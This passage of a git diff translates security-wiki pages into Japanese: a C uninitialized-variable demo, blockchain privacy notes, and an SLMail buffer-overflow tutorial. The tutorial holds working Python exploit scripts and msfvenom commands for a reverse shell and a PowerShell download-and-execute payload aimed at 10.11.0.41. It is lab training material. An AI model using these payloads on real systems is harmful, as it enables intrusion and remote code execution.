Variable:\n"); +printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar); } // Function to demonstrate the behavior of an uninitialized variable void demonstrateUninitializedVar() { - int uninitializedVar; // Declare but do not initialize - printf("Uninitialized Variable:\n"); - printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar); +int uninitializedVar; // Declare but do not initialize +printf("Uninitialized Variable:\n"); +printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar); } int main() { - printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n"); +printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n"); - // First, call the function that initializes its variable - initializeAndPrint(); +// First, call the function that initializes its variable +initializeAndPrint(); - // Then, call the function that has an uninitialized variable - demonstrateUninitializedVar(); +// Then, call the function that has an uninitialized variable +demonstrateUninitializedVar(); - return 0; +return 0; } ``` +#### これがどのように機能するか: -#### How This Works: +- **`initializeAndPrint` 関数**: この関数は整数変数 `initializedVar` を宣言し、値 `100` を割り当て、その後、変数のメモリアドレスと値の両方を印刷します。このステップは簡単で、初期化された変数がどのように動作するかを示しています。 +- **`demonstrateUninitializedVar` 関数**: この関数では、初期化せずに整数変数 `uninitializedVar` を宣言します。その値を印刷しようとすると、出力にはランダムな数が表示されることがあります。この数は、そのメモリ位置に以前存在していたデータを表します。環境やコンパイラによって、実際の出力は異なる場合があり、安全のために、一部のコンパイラは変数を自動的にゼロに初期化することがありますが、これは信頼すべきではありません。 +- **`main` 関数**: `main` 関数は、上記の2つの関数を順番に呼び出し、初期化された変数と初期化されていない変数の対比を示します。 -- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves. -- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon. -- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one. +## ARM64の例 -## ARM64 Example - -This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown. +ARM64では、ローカル変数もスタックで管理されるため、全く変わりません。ここで示されている[**この例**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/)を確認できます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md index fb6f62862..5f88fbd54 100644 --- a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md +++ b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md @@ -2,20 +2,17 @@ {{#include ../banners/hacktricks-training.md}} -## **Start installing the SLMail service** +## **SLMailサービスのインストールを開始する** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## SLMailサービスを再起動する +**SLMailサービスを再起動する**必要があるたびに、Windowsコンソールを使用して行うことができます: ``` net start slmail ``` - ![](<../images/image (988).png>) -## Very basic python exploit template - +## 非常に基本的なPythonエクスプロイトテンプレート ```python #!/usr/bin/python @@ -27,99 +24,89 @@ port = 110 buffer = 'A' * 2700 try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` +## **Immunity Debuggerのフォントを変更する** -## **Change Immunity Debugger Font** +`Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`に移動します。 -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attach the proces to Immunity Debugger:** +## **プロセスをImmunity Debuggerにアタッチする:** **File --> Attach** ![](<../images/image (869).png>) -**And press START button** +**そしてSTARTボタンを押します。** -## **Send the exploit and check if EIP is affected:** +## **エクスプロイトを送信し、EIPに影響があるか確認する:** ![](<../images/image (906).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +サービスを中断するたびに、このページの最初に示されているようにサービスを再起動する必要があります。 -## Create a pattern to modify the EIP +## EIPを変更するためのパターンを作成する -The pattern should be as big as the buffer you used to broke the service previously. +パターンは、以前にサービスを中断するために使用したバッファと同じ大きさである必要があります。 ![](<../images/image (420).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +バッファを変更し、パターンを設定してエクスプロイトを起動します。 -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +新しいクラッシュが発生するはずですが、異なるEIPアドレスで: ![](<../images/image (636).png>) -Check if the address was in your pattern: +アドレスがあなたのパターンに含まれているか確認します: ![](<../images/image (418).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +**バッファのオフセット2606でEIPを変更できるようです。** -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +エクスプロイトのバッファを変更して確認してください: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +このバッファでEIPがクラッシュした場合、42424242("BBBB")を指すべきです。 ![](<../images/image (874).png>) ![](<../images/image (92).png>) -Looks like it is working. +うまくいっているようです。 -## Check for Shellcode space inside the stack +## スタック内のシェルコードスペースを確認する -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600Bは、強力なシェルコードには十分です。 +バッファを変更しましょう: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +新しいエクスプロイトを起動し、EBPと有用なシェルコードの長さを確認します。 ![](<../images/image (119).png>) ![](<../images/image (879).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +脆弱性に到達すると、EBPがシェルコードを指しており、ここにシェルコードを配置するための十分なスペースがあることがわかります。 -In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. +この場合、**0x0209A128から0x0209A2D6まで = 430Bです。** 十分です。 -## Check for bad chars - -Change again the buffer: +## 悪い文字の確認 +再度バッファを変更します: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -141,30 +128,27 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +バッドキャラは0x01から始まります。なぜなら、0x00はほぼ常に悪いからです。 -The badchars starts in 0x01 because 0x00 is almost always bad. +この新しいバッファでエクスプロイトを繰り返し実行し、無駄な文字を削除します。 -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +例えば: -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +この場合、**0x0Aの文字は使用しないべきです**(0x09の文字のためにメモリに何も保存されません)。 ![](<../images/image (111).png>) -In this case you can see that **the char 0x0D is avoided**: +この場合、**0x0Dの文字は避けられています**: ![](<../images/image (1098).png>) -## Find a JMP ESP as a return address - -Using: +## リターンアドレスとしてJMP ESPを見つける +使用: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` - -You will **list the memory maps**. Search for some DLl that has: +メモリマップを**リスト**します。次の条件を満たすDLLを探します: - **Rebase: False** - **SafeSEH: False** @@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has: ![](<../images/image (555).png>) -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +さて、このメモリ内でJMP ESPバイトを見つける必要があります。そのためには、次のコマンドを実行します: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**次に、アドレスが見つかった場合は、badcharを含まないものを選択します:** ![](<../images/image (605).png>) -**In this case, for example: \_0x5f4a358f**\_ - -## Create shellcode +**この場合、例えば: \_0x5f4a358f**\_ +## シェルコードを作成する ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +もしエクスプロイトが機能していないが、機能するはずである場合(ImDebgでシェルコードに到達しているのが確認できる)、他のシェルコードを作成してみてください(msfvenomを使用して同じパラメータの異なるシェルコードを作成します)。 -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +**シェルコードの最初にいくつかのNOPを追加**し、それを使用してリターンアドレスをJMP ESPに設定し、エクスプロイトを完了させます。 ```bash #!/usr/bin/python @@ -236,26 +215,23 @@ shellcode = ( buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` - > [!WARNING] -> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +> 自己を**上書きする**シェルコードがあるため、シェルコードの前に常にいくつかのNOPを追加することが重要です。 -## Improving the shellcode - -Add this parameters: +## シェルコードの改善 +このパラメータを追加します: ```bash EXITFUNC=thread -e x86/shikata_ga_nai ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md index c897d0035..c9615e93b 100644 --- a/src/blockchain/blockchain-and-crypto-currencies/README.md +++ b/src/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,180 +1,176 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Concepts +## 基本概念 -- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. -- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. -- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. -- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. -- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. +- **スマートコントラクト**は、特定の条件が満たされたときにブロックチェーン上で実行されるプログラムとして定義され、中介者なしで合意の実行を自動化します。 +- **分散型アプリケーション (dApps)**はスマートコントラクトに基づいて構築され、ユーザーフレンドリーなフロントエンドと透明で監査可能なバックエンドを特徴とします。 +- **トークンとコイン**は、コインがデジタルマネーとして機能するのに対し、トークンは特定の文脈での価値や所有権を表します。 +- **ユーティリティトークン**はサービスへのアクセスを付与し、**セキュリティトークン**は資産の所有権を示します。 +- **DeFi**は分散型金融を意味し、中央集権的な権限なしで金融サービスを提供します。 +- **DEX**と**DAO**はそれぞれ分散型取引所プラットフォームと分散型自律組織を指します。 -## Consensus Mechanisms +## コンセンサスメカニズム -Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: +コンセンサスメカニズムは、ブロックチェーン上での安全で合意された取引の検証を確保します: -- **Proof of Work (PoW)** relies on computational power for transaction verification. -- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. +- **プルーフ・オブ・ワーク (PoW)**は、取引の検証に計算能力を依存します。 +- **プルーフ・オブ・ステーク (PoS)**は、バリデーターが一定量のトークンを保有することを要求し、PoWに比べてエネルギー消費を削減します。 -## Bitcoin Essentials +## ビットコインの基本 -### Transactions +### 取引 -Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. +ビットコインの取引は、アドレス間で資金を移動させることを含みます。取引はデジタル署名を通じて検証され、プライベートキーの所有者のみが転送を開始できることを保証します。 -#### Key Components: +#### 主要コンポーネント: -- **Multisignature Transactions** require multiple signatures to authorize a transaction. -- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). +- **マルチシグネチャ取引**は、取引を承認するために複数の署名を必要とします。 +- 取引は**入力**(資金の出所)、**出力**(宛先)、**手数料**(マイナーに支払われる)、および**スクリプト**(取引ルール)で構成されます。 -### Lightning Network +### ライトニングネットワーク -Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. +ビットコインのスケーラビリティを向上させることを目的としており、チャネル内で複数の取引を可能にし、最終的な状態のみをブロックチェーンにブロードキャストします。 -## Bitcoin Privacy Concerns +## ビットコインのプライバシーの懸念 -Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. +プライバシー攻撃、例えば**共通入力所有権**や**UTXO変更アドレス検出**は、取引パターンを悪用します。**ミキサー**や**CoinJoin**のような戦略は、ユーザー間の取引リンクを隠すことで匿名性を向上させます。 -## Acquiring Bitcoins Anonymously +## ビットコインを匿名で取得する方法 -Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. +方法には現金取引、マイニング、ミキサーの使用が含まれます。**CoinJoin**は複数の取引を混ぜて追跡を複雑にし、**PayJoin**はCoinJoinを通常の取引として偽装してプライバシーを高めます。 -# Bitcoin Privacy Atacks +# ビットコインのプライバシー攻撃 -# Summary of Bitcoin Privacy Attacks +# ビットコインのプライバシー攻撃の概要 -In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. +ビットコインの世界では、取引のプライバシーとユーザーの匿名性はしばしば懸念の対象です。攻撃者がビットコインのプライバシーを侵害するいくつかの一般的な方法の簡略化された概要を以下に示します。 -## **Common Input Ownership Assumption** +## **共通入力所有権の仮定** -It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. +異なるユーザーの入力が単一の取引に結合されることは一般的に稀であり、複雑さが関与します。したがって、**同じ取引内の2つの入力アドレスは、しばしば同じ所有者に属すると仮定されます**。 -## **UTXO Change Address Detection** +## **UTXO変更アドレス検出** -A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. +UTXO、または**未使用取引出力**は、取引で完全に消費されなければなりません。もしその一部だけが別のアドレスに送信されると、残りは新しい変更アドレスに送られます。観察者はこの新しいアドレスが送信者に属すると仮定し、プライバシーが侵害されます。 -### Example +### 例 -To mitigate this, mixing services or using multiple addresses can help obscure ownership. +これを軽減するために、ミキシングサービスや複数のアドレスを使用することで所有権を隠すことができます。 -## **Social Networks & Forums Exposure** +## **ソーシャルネットワークとフォーラムの露出** -Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. +ユーザーは時々自分のビットコインアドレスをオンラインで共有し、**アドレスを所有者にリンクさせるのが容易になります**。 -## **Transaction Graph Analysis** +## **取引グラフ分析** -Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. +取引はグラフとして視覚化でき、資金の流れに基づいてユーザー間の潜在的な接続を明らかにします。 -## **Unnecessary Input Heuristic (Optimal Change Heuristic)** +## **不必要な入力ヒューリスティック(最適変更ヒューリスティック)** -This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. - -### Example +このヒューリスティックは、複数の入力と出力を持つ取引を分析して、どの出力が送信者に戻る変更であるかを推測することに基づいています。 +### 例 ```bash 2 btc --> 4 btc 3 btc 1 btc ``` +もし追加の入力が出力を単一の入力よりも大きくする場合、それはヒューリスティックを混乱させる可能性があります。 -If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. +## **強制アドレス再利用** -## **Forced Address Reuse** +攻撃者は以前に使用されたアドレスに少額を送信し、受取人が将来の取引でこれらを他の入力と組み合わせることを期待して、アドレスをリンクさせることを狙います。 -Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. +### 正しいウォレットの動作 -### Correct Wallet Behavior +ウォレットは、プライバシーの漏洩を防ぐために、すでに使用された空のアドレスで受け取ったコインを使用することを避けるべきです。 -Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. +## **その他のブロックチェーン分析技術** -## **Other Blockchain Analysis Techniques** +- **正確な支払い額:** お釣りのない取引は、同じユーザーが所有する2つのアドレス間のものである可能性が高いです。 +- **丸い数字:** 取引における丸い数字は、支払いであることを示唆し、非丸い出力はお釣りである可能性が高いです。 +- **ウォレットフィンガープリンティング:** 異なるウォレットは独自の取引作成パターンを持ち、分析者が使用されたソフトウェアやお釣りのアドレスを特定できるようにします。 +- **金額とタイミングの相関:** 取引の時間や金額を開示することは、取引を追跡可能にする可能性があります。 -- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. -- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. -- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. -- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. +## **トラフィック分析** -## **Traffic Analysis** +ネットワークトラフィックを監視することで、攻撃者は取引やブロックをIPアドレスにリンクさせる可能性があり、ユーザーのプライバシーが侵害されることがあります。これは、あるエンティティが多くのビットコインノードを運営している場合に特に当てはまり、取引を監視する能力が向上します。 -By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. +## もっと -## More +プライバシー攻撃と防御の包括的なリストについては、[Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)を訪れてください。 -For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +# 匿名ビットコイン取引 -# Anonymous Bitcoin Transactions +## 匿名でビットコインを取得する方法 -## Ways to Get Bitcoins Anonymously +- **現金取引**: 現金でビットコインを取得すること。 +- **現金の代替**: ギフトカードを購入し、それをオンラインでビットコインと交換すること。 +- **マイニング**: ビットコインを得る最もプライベートな方法はマイニングであり、特に一人で行う場合は、マイニングプールがマイナーのIPアドレスを知っている可能性があるためです。[マイニングプール情報](https://en.bitcoin.it/wiki/Pooled_mining) +- **盗難**: 理論的には、ビットコインを盗むことも匿名で取得する方法の一つですが、これは違法であり推奨されません。 -- **Cash Transactions**: Acquiring bitcoin through cash. -- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. -- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. +## ミキシングサービス -## Mixing Services - -By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. +ミキシングサービスを使用することで、ユーザーは**ビットコインを送信**し、**異なるビットコインを受け取る**ことができ、元の所有者を追跡することが難しくなります。しかし、これはサービスがログを保持せず、実際にビットコインを返すことを信頼する必要があります。代替のミキシングオプションにはビットコインカジノが含まれます。 ## CoinJoin -**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. +**CoinJoin**は、異なるユーザーからの複数の取引を1つに統合し、入力と出力を一致させようとする人にとってプロセスを複雑にします。その効果にもかかわらず、ユニークな入力と出力のサイズを持つ取引は依然として追跡される可能性があります。 -Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +CoinJoinを使用した可能性のある取引の例には、`402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`と`85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`が含まれます。 -For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. +詳細については、[CoinJoin](https://coinjoin.io/en)を訪れてください。Ethereumの同様のサービスについては、マイナーからの資金で取引を匿名化する[Tornado Cash](https://tornado.cash)をチェックしてください。 ## PayJoin -A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. - +CoinJoinのバリアントである**PayJoin**(またはP2EP)は、2つの当事者(例:顧客と商人)間の取引を通常の取引として偽装し、CoinJoinの特徴的な等しい出力を持たないため、非常に検出が難しくなります。これにより、取引監視エンティティが使用する一般的な入力所有ヒューリスティックを無効にする可能性があります。 ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` +取引は上記のようにPayJoinであり、標準的なビットコイン取引と区別がつかないままプライバシーを強化します。 -Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. +**PayJoinの利用は従来の監視手法を大きく妨げる可能性があり、**取引のプライバシーを追求する上で有望な発展です。 -**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. +# 暗号通貨におけるプライバシーのベストプラクティス -# Best Practices for Privacy in Cryptocurrencies +## **ウォレット同期技術** -## **Wallet Synchronization Techniques** +プライバシーとセキュリティを維持するためには、ウォレットをブロックチェーンと同期させることが重要です。2つの方法が際立っています: -To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: +- **フルノード**:ブロックチェーン全体をダウンロードすることで、フルノードは最大限のプライバシーを確保します。過去に行われたすべての取引がローカルに保存され、敵対者がユーザーが関心を持つ取引やアドレスを特定することは不可能です。 +- **クライアントサイドブロックフィルタリング**:この方法は、ブロックチェーン内の各ブロックにフィルターを作成し、ウォレットが特定の関心をネットワークの観察者にさらすことなく関連する取引を特定できるようにします。軽量ウォレットはこれらのフィルターをダウンロードし、ユーザーのアドレスと一致する場合にのみフルブロックを取得します。 -- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. -- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found. +## **匿名性のためのTorの利用** -## **Utilizing Tor for Anonymity** +ビットコインがピアツーピアネットワークで動作するため、IPアドレスを隠すためにTorを使用することが推奨され、ネットワークとの相互作用時にプライバシーが向上します。 -Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. +## **アドレスの再利用防止** -## **Preventing Address Reuse** +プライバシーを守るためには、取引ごとに新しいアドレスを使用することが重要です。アドレスを再利用すると、取引が同じ主体にリンクされることでプライバシーが損なわれる可能性があります。現代のウォレットはその設計によりアドレスの再利用を避けるようにしています。 -To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. +## **取引プライバシーの戦略** -## **Strategies for Transaction Privacy** +- **複数の取引**:支払いをいくつかの取引に分割することで、取引額を不明瞭にし、プライバシー攻撃を防ぎます。 +- **お釣りの回避**:お釣りの出力が不要な取引を選択することで、プライバシーを向上させ、お釣り検出手法を混乱させます。 +- **複数のお釣り出力**:お釣りを避けることができない場合でも、複数のお釣り出力を生成することでプライバシーを改善できます。 -- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. -- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods. -- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy. +# **モネロ:匿名性の灯台** -# **Monero: A Beacon of Anonymity** +モネロはデジタル取引における絶対的な匿名性の必要性に応え、高いプライバシー基準を設定しています。 -Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. +# **イーサリアム:ガスと取引** -# **Ethereum: Gas and Transactions** +## **ガスの理解** -## **Understanding Gas** +ガスはイーサリアム上での操作を実行するために必要な計算努力を測定し、**gwei**で価格が設定されています。例えば、2,310,000 gwei(または0.00231 ETH)の取引は、ガス制限と基本料金が含まれ、マイナーへのインセンティブとしてチップが支払われます。ユーザーは過剰支払いを避けるために最大料金を設定でき、余剰は返金されます。 -Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. +## **取引の実行** -## **Executing Transactions** +イーサリアムの取引には送信者と受信者が関与し、どちらもユーザーまたはスマートコントラクトのアドレスである可能性があります。取引には手数料が必要で、マイニングされなければなりません。取引における重要な情報には、受信者、送信者の署名、価値、オプションのデータ、ガス制限、手数料が含まれます。特に、送信者のアドレスは署名から推測されるため、取引データに含める必要はありません。 -Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. +これらのプラクティスとメカニズムは、プライバシーとセキュリティを優先しながら暗号通貨に関与しようとする人々にとって基礎的なものです。 -These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. - -## References +## 参考文献 - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) diff --git a/src/burp-suite.md b/src/burp-suite.md index 4c4ece315..f83212f71 100644 --- a/src/burp-suite.md +++ b/src/burp-suite.md @@ -4,7 +4,7 @@ - **シンプルリスト:** 各行にエントリが含まれるリスト - **ランタイムファイル:** ランタイムで読み込まれるリスト(メモリにロードされない)。大きなリストをサポートするため。 -- **ケース変更:** 文字列のリストにいくつかの変更を適用する(変更なし、小文字、大文字、固有名詞 - 最初の文字を大文字にし、残りを小文字にする、固有名詞 - 最初の文字を大文字にし、残りはそのまま)。 +- **ケース変更:** 文字列のリストにいくつかの変更を適用する(変更なし、小文字、大文字、適切な名前 - 最初の文字を大文字にし、残りを小文字にする、適切な名前 - 最初の文字を大文字にし、残りはそのままにする)。 - **数字:** XからYまでの数字をZステップで生成するか、ランダムに生成する。 - **ブルートフォース:** 文字セット、最小および最大長。 diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md index 71b79f58f..4d695f88b 100644 --- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md +++ b/src/crypto-and-stego/blockchain-and-crypto-currencies.md @@ -1,180 +1,176 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Concepts +## 基本概念 -- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. -- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. -- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. -- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. -- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. +- **スマートコントラクト**は、特定の条件が満たされたときにブロックチェーン上で実行されるプログラムとして定義され、仲介者なしで合意の実行を自動化します。 +- **分散型アプリケーション (dApps)**はスマートコントラクトに基づいて構築され、ユーザーフレンドリーなフロントエンドと透明で監査可能なバックエンドを特徴とします。 +- **トークンとコイン**は区別され、コインはデジタルマネーとして機能し、トークンは特定の文脈での価値や所有権を表します。 +- **ユーティリティトークン**はサービスへのアクセスを付与し、**セキュリティトークン**は資産の所有権を示します。 +- **DeFi**は分散型金融を意味し、中央集権的な権限なしで金融サービスを提供します。 +- **DEX**と**DAO**はそれぞれ分散型取引所プラットフォームと分散型自律組織を指します。 -## Consensus Mechanisms +## コンセンサスメカニズム -Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: +コンセンサスメカニズムは、ブロックチェーン上での安全で合意された取引の検証を確保します: -- **Proof of Work (PoW)** relies on computational power for transaction verification. -- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. +- **プルーフ・オブ・ワーク 